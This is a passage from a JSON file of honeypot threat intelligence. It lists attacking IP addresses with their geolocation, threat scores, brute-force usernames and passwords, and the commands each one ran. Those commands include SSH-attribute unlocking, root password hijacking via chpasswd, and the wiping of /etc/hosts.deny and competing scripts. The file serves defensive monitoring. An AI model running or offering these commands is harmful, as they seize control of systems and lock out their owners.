        "345gs5662d34",
        "#EDCvfr4%TGB",
        "1234554321",
        "123465h",
        "15975328",
        "ASDF1234",
        "Ab123456",
        "Ab123456!",
        "Amadeus",
        "Hx123456@",
        "PASSword",
        "Qwerty7890",
        "Welcome@1234",
        "Yt123456@",
        "ab1234",
        "abcde!@#123",
        "admin54321",
        "ly123456!",
        "master1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:FIv9VpdR8QDP\"|chpasswd|bash",
        "echo \"root:VMVma6Ep0tT7\"|chpasswd|bash",
        "echo \"root:zjEBI75wF2Vz\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 150895,
      "as_org": "EZ TECHNOLOGY COMPANY LIMITED",
      "threat_score": 37.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 360,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T15:14:48.769000+00:00",
        "last_seen_30d": "2026-03-30T16:49:16.058000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 299,
        "Suricata": 61
      }
    },
    "116.110.210.147": {
      "attack_count": 297,
      "first_seen": "2026-03-09T01:06:09.306Z",
      "last_seen": "2026-03-09T01:31:21.577Z",
      "sessions": 59,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "support",
        "test",
        "user",
        "1234",
        "bin",
        "btf",
        "config",
        "ftp",
        "ftpuser",
        "guest",
        "guest1",
        "helpdesk",
        "installer",
        "kim",
        "nikita",
        "operator",
        "oracle",
        "plex"
      ],
      "passwords_attempted": [
        "1234",
        "admin",
        "password",
        "12345",
        "admin123",
        "0l0ctyQh243O63uD",
        "123456",
        "12345678",
        "321start",
        "@",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abc123",
        "abcd1234",
        "abcdefg",
        "admin01",
        "admin@123",
        "alpine",
        "andrew",
        "asteriskftp"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 11.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.2,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 420,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T01:06:09.306000+00:00",
        "last_seen_30d": "2026-03-09T01:32:22.489000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 297,
        "Suricata": 123
      }
    },
    "81.57.15.243": {
      "attack_count": 279,
      "first_seen": "2026-03-26T14:20:24.376Z",
      "last_seen": "2026-03-27T22:55:16.784Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "teamcity",
        "aman",
        "andy",
        "esuser",
        "reza"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "0220",
        "1234",
        "123456.qwerty",
        "123456Qwerty@",
        "123qweasdQWE",
        "123qwerts",
        "1qaz@WSX3",
        "742026",
        "9182736455",
        "Manager123",
        "P@$$w0rd2025",
        "Qq1234567",
        "aman123!",
        "asd123..",
        "capture",
        "carolina",
        "esuser123!"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:8V0jVNWMconq\"|chpasswd|bash",
        "echo \"root:TD9kX4Hxkocr\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.login.success"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Taranto",
      "asn": 29447,
      "as_org": "Scaleway SAS",
      "threat_score": 33.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 354,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T14:20:24.376000+00:00",
        "last_seen_30d": "2026-03-27T22:56:24.462000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 279,
        "Suricata": 75
      }
    },
    "103.143.11.168": {
      "attack_count": 266,
      "first_seen": "2026-03-04T15:41:01.190Z",
      "last_seen": "2026-03-26T11:26:12.814Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "help",
        "andres",
        "erpnext",
        "frank",
        "jim",
        "jon",
        "plex",
        "samuel",
        "sunshine",
        "verdaccio",
        "zhangliang"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "1234qwert",
        "1qaz2wsx@@",
        "333333",
        "Aa@123321",
        "Abcd12345",
        "Bingo@1993",
        "Huawei@123",
        "Lx123456@",
        "Plex123",
        "andrespass",
        "google@123",
        "jim123",
        "jonpass",
        "letmein@123",
        "samuel123!"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\nzw84k5ZI0EIo\\nzw84k5ZI0EIo\\n\"|passwd",
        "echo \"root:xKkHYSNaaSbI\"|chpasswd|bash",
        "echo -e \"1234\\nzw84k5ZI0EIo\\nzw84k5ZI0EIo\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 138152,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 47.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.3,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 336,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T15:41:01.190000+00:00",
        "last_seen_30d": "2026-03-26T11:27:14.336000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 266,
        "Suricata": 70
      }
    },
    "79.36.240.89": {
      "attack_count": 262,
      "first_seen": "2026-03-09T19:56:34.204Z",
      "last_seen": "2026-03-09T20:17:15.824Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "geo",
        "teamspeak",
        "wei",
        "alfred",
        "clawd",
        "dell",
        "llm",
        "mamad",
        "posiflex",
        "valheim",
        "vboxuser"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123456",
        "Wei123",
        "alfred1234",
        "dell1234",
        "geopass",
        "posiflex123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nlTOik9slCt38\\nlTOik9slCt38\\n\"|passwd",
        "echo \"Wei123\\nNzU0e1NUvMFi\\nNzU0e1NUvMFi\\n\"|passwd",
        "echo \"geopass\\n7mCxi36MqOaU\\n7mCxi36MqOaU\\n\"|passwd",
        "echo -e \"123\\nlTOik9slCt38\\nlTOik9slCt38\"|passwd|bash",
        "echo -e \"Wei123\\nNzU0e1NUvMFi\\nNzU0e1NUvMFi\"|passwd|bash",
        "echo -e \"geopass\\n7mCxi36MqOaU\\n7mCxi36MqOaU\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Faenza",
      "asn": 3269,
      "as_org": "TIM",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 300,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T19:56:34.204000+00:00",
        "last_seen_30d": "2026-03-09T20:18:21.368000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 38
      }
    },
    "103.189.235.171": {
      "attack_count": 192,
      "first_seen": "2026-03-11T01:05:46.527Z",
      "last_seen": "2026-03-11T01:31:51.205Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "colin",
        "clawd",
        "dp",
        "jeff",
        "planka",
        "roots",
        "wireguard",
        "zsolt"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "7ujm&UJM",
        "Li@123456",
        "P@ssw0rd2025",
        "Zsolt123!",
        "clawd@123",
        "colin",
        "dp123!",
        "password",
        "planka123!",
        "wireguard@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"colin\\nYteqFj5twZkd\\nYteqFj5twZkd\\n\"|passwd",
        "echo \"root:rCjK5LJjMDWW\"|chpasswd|bash",
        "echo -e \"colin\\nYteqFj5twZkd\\nYteqFj5twZkd\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 12.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 228,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T01:05:46.527000+00:00",
        "last_seen_30d": "2026-03-11T01:32:53.202000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 192,
        "Suricata": 36
      }
    },
    "27.50.25.190": {
      "attack_count": 192,
      "first_seen": "2026-03-04T22:57:30.112Z",
      "last_seen": "2026-03-27T23:54:57.361Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456@Ab",
        "123abcABC",
        "6666",
        "741852",
        "Ab123456+",
        "Abc@111111",
        "Administrator_123",
        "Bingo@1993",
        "Letmein!",
        "Li123456789",
        "alaska",
        "ali@123",
        "caonima!@#",
        "qwerty@123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:w4InN7HKWNsB\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 131111,
      "as_org": "PT Mora Telematika Indonesia",
      "threat_score": 50.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.9,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 245,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T22:57:30.112000+00:00",
        "last_seen_30d": "2026-03-27T23:56:06.746000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 192,
        "Suricata": 53
      }
    },
    "185.181.10.136": {
      "attack_count": 168,
      "first_seen": "2026-03-30T13:41:56.113Z",
      "last_seen": "2026-03-30T14:44:45.606Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123528",
        "1Digital",
        "3245gs5662d34",
        "345gs5662d34",
        "P@$$W0rd123",
        "Qwe123$%^",
        "Qwerty!@#",
        "Root2024!",
        "abc.12345",
        "abcqwe123",
        "alexander123",
        "amelia",
        "asdqwe1234",
        "myp@ssw0rd",
        "openbravo",
        "personal123",
        "prince",
        "qwerty.123",
        "root1235",
        "shasha"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:qJl8ODEIF3hF\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 204548,
      "as_org": "Kamatera Inc",
      "threat_score": 35.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 222,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T13:41:56.113000+00:00",
        "last_seen_30d": "2026-03-30T14:45:48.931000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 54
      }
    },
    "201.124.18.240": {
      "attack_count": 168,
      "first_seen": "2026-03-27T10:27:46.797Z",
      "last_seen": "2026-03-27T13:08:58.428Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "2wsx1qaz",
        "3245gs5662d34",
        "345gs5662d34",
        "Abcd123!@#",
        "Dex2026",
        "Hacker123",
        "Hetzner2024",
        "P@sswd12#$",
        "Passwort!23",
        "QWER!@#$",
        "Qwe123456.",
        "Root123$%^",
        "abc123,./",
        "admin1234567",
        "ananda",
        "gold123",
        "p@ssw0rd!@#123",
        "pangeran",
        "qwerty2025",
        "root!@#!@#"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:VcOGJIvbo7Ar\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "\u00c1lvaro Obreg\u00f3n",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 232,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T10:27:46.797000+00:00",
        "last_seen_30d": "2026-03-27T13:10:01.713000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 64
      }
    },
    "212.80.7.155": {
      "attack_count": 168,
      "first_seen": "2026-03-31T06:22:17.610Z",
      "last_seen": "2026-03-31T07:19:20.720Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "root1"
      ],
      "passwords_attempted": [
        "!Pa$$w0rd!",
        "!q2w3e4r",
        "111000",
        "123.456",
        "1234567890Ab",
        "123456Aa",
        "123456Sa",
        "3245gs5662d34",
        "345gs5662d34",
        "Abcd@2026",
        "Admin@1qaz2wsx",
        "Pa55w0rd!@#$",
        "Qazwsxedc123!@#",
        "Qq123456..",
        "Tt123456789",
        "Wsx123456",
        "ghegheb0ss",
        "p4sSw0rd",
        "qaz.123456",
        "root"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:1GT3hOjGRpBT\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 215439,
      "as_org": "Play2go International Limited",
      "threat_score": 36.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T06:22:17.610000+00:00",
        "last_seen_30d": "2026-03-31T07:20:24.103000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "222.167.161.198": {
      "attack_count": 168,
      "first_seen": "2026-03-29T02:59:06.403Z",
      "last_seen": "2026-03-29T04:22:38.953Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123321123-",
        "3245gs5662d34",
        "345gs5662d34",
        "753951852",
        "Aa.12345",
        "Admin112",
        "Azerty2026",
        "Bb12345678@",
        "Jack@123",
        "N2dos2025sd",
        "Xt123456",
        "dollar",
        "include",
        "library@123",
        "linux10",
        "mercurio",
        "mike",
        "mju76yhn",
        "pos1234",
        "qaz098"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:MTR8Y9sxN2cX\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9908,
      "as_org": "HK Cable TV Ltd",
      "threat_score": 33.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T02:59:06.403000+00:00",
        "last_seen_30d": "2026-03-29T04:23:39.594000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "45.246.89.171": {
      "attack_count": 163,
      "first_seen": "2026-03-31T07:43:12.865Z",
      "last_seen": "2026-03-31T08:59:05.692Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!@#$QWER",
        "123QWEqwe!",
        "231231",
        "3245gs5662d34",
        "345gs5662d34",
        "Hz123456",
        "Il0veyou",
        "Samsung12",
        "Zxasqw12",
        "audi",
        "haiyang",
        "internet1",
        "jiljil",
        "journey1",
        "netbank.cn",
        "okokok",
        "qwertzuiop",
        "serveru",
        "siri",
        "windows2025"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:ObxFtvWaLpny\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "Maadi",
      "asn": 24863,
      "as_org": "LINKdotNET",
      "threat_score": 36.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
